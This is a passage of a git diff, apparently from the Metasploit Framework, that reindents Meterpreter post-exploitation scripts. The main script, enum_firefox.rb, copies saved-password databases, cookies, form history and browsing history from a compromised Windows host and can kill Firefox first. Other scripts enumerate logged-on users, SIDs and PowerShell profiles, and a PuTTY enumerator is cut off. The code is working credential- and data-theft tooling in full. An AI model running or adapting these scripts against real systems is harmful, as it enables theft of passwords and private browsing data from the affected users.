'#{uid}'..." + usernames << client.fs.file.expand_path("%USERNAME%") + prepare_railgun end usernames.each do |u| - print_status("extracting data for user '#{u}'...") - success = extract_data(u) - process_files(u) if success + print_status("extracting data for user '#{u}'...") + success = extract_data(u) + process_files(u) if success end if @migrate && @old_pid - print_status("migrating back into PID=#{@old_pid}...") - client.core.migrate(@old_pid) - print_status("done.") + print_status("migrating back into PID=#{@old_pid}...") + client.core.migrate(@old_pid) + print_status("done.") end raise Rex::Script::Completed diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b76630db7e..704fa179c1 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -15,270 +15,270 @@ filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # logfile name logfile = @logs + "/" + host + filenameinfo + ".txt" notusrs = [ - "Default", - "Default User", - "Public", - "LocalService", - "NetworkService", - "All Users" + "Default", + "Default User", + "Public", + "LocalService", + "NetworkService", + "All Users" ] #------------------------------------------------------------------------------- #Function for getting Firefox SQLite DB's def frfxplacesget(path,usrnm) - # Create the log - ::FileUtils.mkdir_p(@logs) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x - if @client.fs.file.stat(fullpath).directory? - frfxplacesget(fullpath,usrnm) - elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - end - } + # Create the log + ::FileUtils.mkdir_p(@logs) + @client.fs.dir.foreach(path) {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x + if @client.fs.file.stat(fullpath).directory? + frfxplacesget(fullpath,usrnm) + elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i + dst = x + dst = @logs + ::File::Separator + usrnm + dst + print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") + @client.fs.file.download_file(dst, fullpath) + end + } end #------------------------------------------------------------------------------- #Function for processing the Firefox sqlite DB's def frfxdmp(usrnm) - sitesvisited = [] - dnldsmade = [] - bkmrks = [] - cookies = [] - formvals = '' - searches = '' - results = '' - placesdb = @logs + ::File::Separator + usrnm + "places.sqlite" - formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite" - searchdb = @logs + ::File::Separator + usrnm + "search.sqlite" - cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite" - bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt" - download_list = @logs + ::File::Separator + usrnm + "_download_list.txt" - url_history = @logs + ::File::Separator + usrnm + "_history.txt" - form_history = @logs + ::File::Separator + usrnm + "_form_history.txt" - search_history = @logs + ::File::Separator + usrnm + "_search_history.txt" - begin - print_status("\tGetting Firefox Bookmarks for #{usrnm}") - db = SQLite3::Database.new(placesdb) - #print_status("\tProcessing #{placesdb}") + sitesvisited = [] + dnldsmade = [] + bkmrks = [] + cookies = [] + formvals = '' + searches = '' + results = '' + placesdb = @logs + ::File::Separator + usrnm + "places.sqlite" + formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite" + searchdb = @logs + ::File::Separator + usrnm + "search.sqlite" + cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite" + bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt" + download_list = @logs + ::File::Separator + usrnm + "_download_list.txt" + url_history = @logs + ::File::Separator + usrnm + "_history.txt" + form_history = @logs + ::File::Separator + usrnm + "_form_history.txt" + search_history = @logs + ::File::Separator + usrnm + "_search_history.txt" + begin + print_status("\tGetting Firefox Bookmarks for #{usrnm}") + db = SQLite3::Database.new(placesdb) + #print_status("\tProcessing #{placesdb}") - db.execute('select a.url from moz_places a, moz_bookmarks b, '+ - 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+ - ' and folder_id=2 and a.hidden=0') do |row| - bkmrks << row - end - print_status("\tSaving to #{bookmarks}") - if bkmrks.length != 0 - bkmrks.each do |b| - file_local_write(bookmarks,"\t#{b.to_s}\n") - end - else - print_status("\tIt appears that there are no bookmarks for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting list of Downloads using Firefox made by #{usrnm}") - db.execute('SELECT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id '+ - 'AND visit_type = "7" ORDER by visit_date') do |row| - dnldsmade << row - end - print_status("\tSaving Download list to #{download_list}") - if dnldsmade.length != 0 - dnldsmade.each do |d| - file_local_write(download_list,"\t#{d.to_s} \n") - end - else - print_status("\tIt appears that downloads where cleared for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox URL History for #{usrnm}") - db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id ' + - 'AND visit_type = "1" ORDER by visit_date' ) do |row| - sitesvisited << row - end - print_status("\tSaving URL History to #{url_history}") - if sitesvisited.length != 0 - sitesvisited.each do |s| - file_local_write(url_history,"\t#{s.to_s}\n") - end - else - print_status("\tIt appears that Browser History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox Form History for #{usrnm}") - db = SQLite3::Database.new(formdb) - #print_status("\tProcessing #{formdb}") - db.execute("SELECT fieldname,value FROM moz_formhistory") do |row| - formvals << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Form History to #{form_history}") - if formvals.length != 0 - file_local_write(form_history,formvals) - else - print_status("\tIt appears that Form History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + db.execute('select a.url from moz_places a, moz_bookmarks b, '+ + 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+ + ' and folder_id=2 and a.hidden=0') do |row| + bkmrks << row + end + print_status("\tSaving to #{bookmarks}") + if bkmrks.length != 0 + bkmrks.each do |b| + file_local_write(bookmarks,"\t#{b.to_s}\n") + end + else + print_status("\tIt appears that there are no bookmarks for this account") + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting list of Downloads using Firefox made by #{usrnm}") + db.execute('SELECT url FROM moz_places, moz_historyvisits ' + + 'WHERE moz_places.id = moz_historyvisits.place_id '+ + 'AND visit_type = "7" ORDER by visit_date') do |row| + dnldsmade << row + end + print_status("\tSaving Download list to #{download_list}") + if dnldsmade.length != 0 + dnldsmade.each do |d| + file_local_write(download_list,"\t#{d.to_s} \n") + end + else + print_status("\tIt appears that downloads where cleared for this account") + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting Firefox URL History for #{usrnm}") + db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' + + 'WHERE moz_places.id = moz_historyvisits.place_id ' + + 'AND visit_type = "1" ORDER by visit_date' ) do |row| + sitesvisited << row + end + print_status("\tSaving URL History to #{url_history}") + if sitesvisited.length != 0 + sitesvisited.each do |s| + file_local_write(url_history,"\t#{s.to_s}\n") + end + else + print_status("\tIt appears that Browser History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting Firefox Form History for #{usrnm}") + db = SQLite3::Database.new(formdb) + #print_status("\tProcessing #{formdb}") + db.execute("SELECT fieldname,value FROM moz_formhistory") do |row| + formvals << "\tField: #{row[0]} Value: #{row[1]}\n" + end + print_status("\tSaving Firefox Form History to #{form_history}") + if formvals.length != 0 + file_local_write(form_history,formvals) + else + print_status("\tIt appears that Form History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end - begin - print_status("\tGetting Firefox Search History for #{usrnm}") - db = SQLite3::Database.new(searchdb) - #print_status("\tProcessing #{searchdb}") - db.execute("SELECT name,value FROM engine_data") do |row| - searches << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Search History to #{search_history}") - if searches.length != 0 - file_local_write(search_history,searches) - else - print_status("\tIt appears that Search History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - # Create Directory for dumping Firefox cookies - ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}") - ::FileUtils.mkdir_p(ckfldr) - db = SQLite3::Database.new(cookiesdb) - db.results_as_hash = true - print_status("\tGetting Firefox Cookies for #{usrnm}") - db.execute("SELECT * FROM moz_cookies;" ) do |item| - fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+") - fd.puts "Name: " + item['name'] + "\n" - fd.puts "Value: " + item['value'].to_s + "\n" - fd.puts "Host: " + item['host'] + "\n" - fd.puts "Path: " + item['path'] + "\n" - fd.puts "Expiry: " + item['expiry'].to_s + "\n" - fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n" - fd.puts "isSecure: " + item['isSecure'].to_s + "\n" - fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n" - fd.close - end - return results + begin + print_status("\tGetting Firefox Search History for #{usrnm}") + db = SQLite3::Database.new(searchdb) + #print_status("\tProcessing #{searchdb}") + db.execute("SELECT name,value FROM engine_data") do |row| + searches << "\tField: #{row[0]} Value: #{row[1]}\n" + end + print_status("\tSaving Firefox Search History to #{search_history}") + if searches.length != 0 + file_local_write(search_history,searches) + else + print_status("\tIt appears that Search History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + # Create Directory for dumping Firefox cookies + ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}") + ::FileUtils.mkdir_p(ckfldr) + db = SQLite3::Database.new(cookiesdb) + db.results_as_hash = true + print_status("\tGetting Firefox Cookies for #{usrnm}") + db.execute("SELECT * FROM moz_cookies;" ) do |item| + fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+") + fd.puts "Name: " + item['name'] + "\n" + fd.puts "Value: " + item['value'].to_s + "\n" + fd.puts "Host: " + item['host'] + "\n" + fd.puts "Path: " + item['path'] + "\n" + fd.puts "Expiry: " + item['expiry'].to_s + "\n" + fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n" + fd.puts "isSecure: " + item['isSecure'].to_s + "\n" + fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n" + fd.close + end + return results end #------------------------------------------------------------------------------- #Function for getting password files def frfxpswd(path,usrnm) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x + @client.fs.dir.foreach(path) {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x - if @client.fs.file.stat(fullpath).directory? - frfxpswd(fullpath,usrnm) - elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i - begin - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Password file to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - rescue - print_error("\t******Failed to download file #{x}******") - print_error("\t******Browser could be running******") - end - end - } + if @client.fs.file.stat(fullpath).directory? + frfxpswd(fullpath,usrnm) + elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i + begin + dst = x + dst = @logs + ::File::Separator + usrnm + dst + print_status("\tDownloading Firefox Password file to '#{dst}'") + @client.fs.file.download_file(dst, fullpath) + rescue + print_error("\t******Failed to download file #{x}******") + print_error("\t******Browser could be running******") + end + end + } end #------------------------------------------------------------------------------- # Function for checking if Firefox is installed def frfxchk - found = false - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a| - if a =~ /Firefox/ - print_status("Firefox was found on this system.") - found = true - end - end - return found + found = false + registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a| + if a =~ /Firefox/ + print_status("Firefox was found on this system.") + found = true + end + end + return found end #------------------------------------------------------------------------------- #Function for executing all pilfering actions for Firefox def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile) - print_status("Getting Firefox information for user #{usrnm}") - frfxplacesget(frfoxdbloc,usrnm) - frfxpswd(frfoxdbloc,usrnm) - file_local_write(logfile,frfxdmp(usrnm)) + print_status("Getting Firefox information for user #{usrnm}") + frfxplacesget(frfoxdbloc,usrnm) + frfxpswd(frfoxdbloc,usrnm) + file_local_write(logfile,frfxdmp(usrnm)) end # Function to kill Firefox if open def kill_firefox - print_status("Killing the Firefox Process if open...") - @client.sys.process.get_processes().each do |x| - if x['name'].downcase == "firefox.exe" - print_status("\tFirefox Process found #{x['name']} #{x['pid']}") - print_status("\tKilling process .....") - session.sys.process.kill(x['pid']) - end - end + print_status("Killing the Firefox Process if open...") + @client.sys.process.get_processes().each do |x| + if x['name'].downcase == "firefox.exe" + print_status("\tFirefox Process found #{x['name']} #{x['pid']}") + print_status("\tKilling process .....") + session.sys.process.kill(x['pid']) + end + end end ####################### Options ########################### @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."] + "-h" => [ false, "Help menu." ], + "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting Firefox Browser." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-k" - kill_frfx = true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting Firefox Browser." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-k" + kill_frfx = true + end } if client.platform =~ /win32|win64/ - if frfxchk - user = @client.sys.config.getuid - if not is_system? - usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%")) - db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - else - registry_enumkeys("HKU").each do |sid| - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/ - key_base = "HKU\\#{sid}" - usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")) - db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - end - end - end + if frfxchk + user = @client.sys.config.getuid + if not is_system? + usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%")) + db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles" + if kill_frfx + kill_firefox + end + print_status("Extracting Firefox data for user #{usrname}") + frfxpswd(db_path,usrname) + frfxplacesget(db_path,usrname) + frfxdmp(usrname) + else + registry_enumkeys("HKU").each do |sid| + if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/ + key_base = "HKU\\#{sid}" + usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")) + db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles" + if kill_frfx + kill_firefox + end + print_status("Extracting Firefox data for user #{usrname}") + frfxpswd(db_path,usrname) + frfxplacesget(db_path,usrname) + frfxdmp(usrname) + end + end + end - end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index d38d35e240..2cfd630ceb 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -6,89 +6,89 @@ ######################## Functions ######################## def ls_logged - sids = [] - sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "Profile Path" - ]) - sids.flatten.each do |sid| - profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath") - tbl << [sid,profile_path] - end - print_line("\n" + tbl.to_s + "\n") + sids = [] + sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Logged Users", + 'Indent' => 1, + 'Columns' => + [ + "SID", + "Profile Path" + ]) + sids.flatten.each do |sid| + profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath") + tbl << [sid,profile_path] + end + print_line("\n" + tbl.to_s + "\n") end def ls_current - key_base, username = "","" - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Current Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "User" - ]) - registry_enumkeys("HKU").each do |sid| - case sid - when "S-1-5-18" - username = "SYSTEM" - tbl << [sid,username] - when "S-1-5-19" - username = "Local Service" - tbl << [sid,username] - when "S-1-5-20" - username = "Network Service" - tbl << [sid,username] - else - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base = "HKU\\#{sid}" - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") - username = '' - if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/ - username = $1 - end - end - tbl << [sid,username] - end - end - end - print_line("\n" + tbl.to_s + "\n") + key_base, username = "","" + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Current Logged Users", + 'Indent' => 1, + 'Columns' => + [ + "SID", + "User" + ]) + registry_enumkeys("HKU").each do |sid| + case sid + when "S-1-5-18" + username = "SYSTEM" + tbl << [sid,username] + when "S-1-5-19" + username = "Local Service" + tbl << [sid,username] + when "S-1-5-20" + username = "Network Service" + tbl << [sid,username] + else + if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ + key_base = "HKU\\#{sid}" + os = @client.sys.config.sysinfo['OS'] + if os =~ /(Windows 7|2008|Vista)/ + username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME") + elsif os =~ /(2000|NET|XP)/ + appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + username = '' + if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/ + username = $1 + end + end + tbl << [sid,username] + end + end + end + print_line("\n" + tbl.to_s + "\n") end #------------------------------------------------------------------------------- ####################### Options ########################### @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-l" => [ false, "List SID's of users who have loged in to the host." ], - "-c" => [ false, "List SID's of currently loged on users." ] - ) + "-h" => [ false, "Help menu." ], + "-l" => [ false, "List SID's of users who have loged in to the host." ], + "-c" => [ false, "List SID's of currently loged on users." ] + ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-l" - ls_logged - when "-c" - ls_current - end + case opt + when "-h" + print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-l" + ls_logged + when "-c" + ls_current + end } if client.platform =~ /win32|win64/ - if args.length == 0 - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + if args.length == 0 + print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 613b4923a0..b814acd0f4 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -3,123 +3,123 @@ @client = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations") - print_line("USAGE: run enum_scripting_env") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations") + print_line("USAGE: run enum_scripting_env") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } #Support Functions #------------------------------------------------------------------------------- def enum_users - os = @client.sys.config.sysinfo['OS'] - users = [] - user = @client.sys.config.getuid - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + os = @client.sys.config.sysinfo['OS'] + users = [] + user = @client.sys.config.getuid + path4users = "" + sysdrv = @client.fs.file.expand_path("%SystemDrive%") - if os =~ /Windows 7|Vista|2008/ - path4users = sysdrv + "\\Users\\" - profilepath = "\\Documents\\WindowsPowerShell\\" - else - path4users = sysdrv + "\\Documents and Settings\\" - profilepath = "\\My Documents\\WindowsPowerShell\\" - end + if os =~ /Windows 7|Vista|2008/ + path4users = sysdrv + "\\Users\\" + profilepath = "\\Documents\\WindowsPowerShell\\" + else + path4users = sysdrv + "\\Documents and Settings\\" + profilepath = "\\My Documents\\WindowsPowerShell\\" + end - if is_system? - print_status("Running as SYSTEM extracting user list..") - @client.fs.dir.foreach(path4users) do |u| - userinfo = {} - next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - userinfo['username'] = u - userinfo['userappdata'] = path4users + u + profilepath - users << userinfo - end - else - userinfo = {} - uservar = @client.fs.file.expand_path("%USERNAME%") - userinfo['username'] = uservar - userinfo['userappdata'] = path4users + uservar + profilepath - users << userinfo - end - return users + if is_system? + print_status("Running as SYSTEM extracting user list..") + @client.fs.dir.foreach(path4users) do |u| + userinfo = {} + next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + userinfo['username'] = u + userinfo['userappdata'] = path4users + u + profilepath + users << userinfo + end + else + userinfo = {} + uservar = @client.fs.file.expand_path("%USERNAME%") + userinfo['username'] = uservar + userinfo['userappdata'] = path4users + uservar + profilepath + users << userinfo + end + return users end #------------------------------------------------------------------------------- def enum_powershell - #Check if PowerShell is Installed - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") - print_status("Powershell is Installed on this system.") - powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") - print_status("Version: #{powershell_version}") - #Get PowerShell Execution Policy - begin - powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") - rescue - powershell_policy = "Restricted" - end - print_status("Execution Policy: #{powershell_policy}") - powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path") - print_status("Path: #{powershell_path}") - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns") - print_status("Powershell Snap-Ins:") - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si| - print_status("\tSnap-In: #{si}") - registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v| - print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}") - end - end - else - print_status("No PowerShell Snap-Ins are installed") + #Check if PowerShell is Installed + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") + print_status("Powershell is Installed on this system.") + powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion") + print_status("Version: #{powershell_version}") + #Get PowerShell Execution Policy + begin + powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy") + rescue + powershell_policy = "Restricted" + end + print_status("Execution Policy: #{powershell_policy}") + powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path") + print_status("Path: #{powershell_path}") + if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns") + print_status("Powershell Snap-Ins:") + registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si| + print_status("\tSnap-In: #{si}") + registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v| + print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}") + end + end + else + print_status("No PowerShell Snap-Ins are installed") - end - if powershell_version =~ /2./ - print_status("Powershell Modules:") - powershell_module_path = @client.fs.file.expand_path("%PSModulePath%") - @client.fs.dir.foreach(powershell_module_path) do |m| - next if m =~ /^(\.|\.\.)$/ - print_status("\t#{m}") - end - end - tmpout = [] - print_status("Checking if users have Powershell profiles") - enum_users.each do |u| - print_status("Checking #{u['username']}") - begin - @client.fs.dir.foreach(u["userappdata"]) do |p| - next if p =~ /^(\.|\.\.)$/ - if p =~ /Microsoft.PowerShell_profile.ps1/ - ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb") - until ps_profile.eof? - tmpout << ps_profile.read - end - ps_profile.close - if tmpout.length == 1 - print_status("Profile for #{u["username"]} not empty, it contains:") - tmpout.each do |l| - print_status("\t#{l.strip}") - end - end - end - end - rescue - end - end + end + if powershell_version =~ /2./ + print_status("Powershell Modules:") + powershell_module_path = @client.fs.file.expand_path("%PSModulePath%") + @client.fs.dir.foreach(powershell_module_path) do |m| + next if m =~ /^(\.|\.\.)$/ + print_status("\t#{m}") + end + end + tmpout = [] + print_status("Checking if users have Powershell profiles") + enum_users.each do |u| + print_status("Checking #{u['username']}") + begin + @client.fs.dir.foreach(u["userappdata"]) do |p| + next if p =~ /^(\.|\.\.)$/ + if p =~ /Microsoft.PowerShell_profile.ps1/ + ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb") + until ps_profile.eof? + tmpout << ps_profile.read + end + ps_profile.close + if tmpout.length == 1 + print_status("Profile for #{u["username"]} not empty, it contains:") + tmpout.each do |l| + print_status("\t#{l.strip}") + end + end + end + end + rescue + end + end - end + end end if client.platform =~ /win32|win64/ - enum_powershell + enum_powershell else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 886dac8eed..252c78d8c1 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -5,93 +5,93 @@ @client = client #Options and Option Parsing opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] + "-h" => [ false, "Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Putty Configuration." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for enumerating Putty Configuration." + print_line(opts.usage) + raise Rex::Script::Completed + end } def hkcu_base - key_base = [] + key_base = [] - if not is_system? - key_base << "HKCU" - else - key = "HKU\\" - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base << "HKU\\#{k}" - end - end - end - return key_base + if not is_system? + key_base << "HKCU" + else + key = "HKU\\" + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + if k =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ + key_base << "HKU\\#{k}" + end + end + end + return key_base end def check_putty(reg_key_base) - installed = false - app_list = [] - app_list = registry_enumkeys("#{reg_key_base}\\Software") - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = 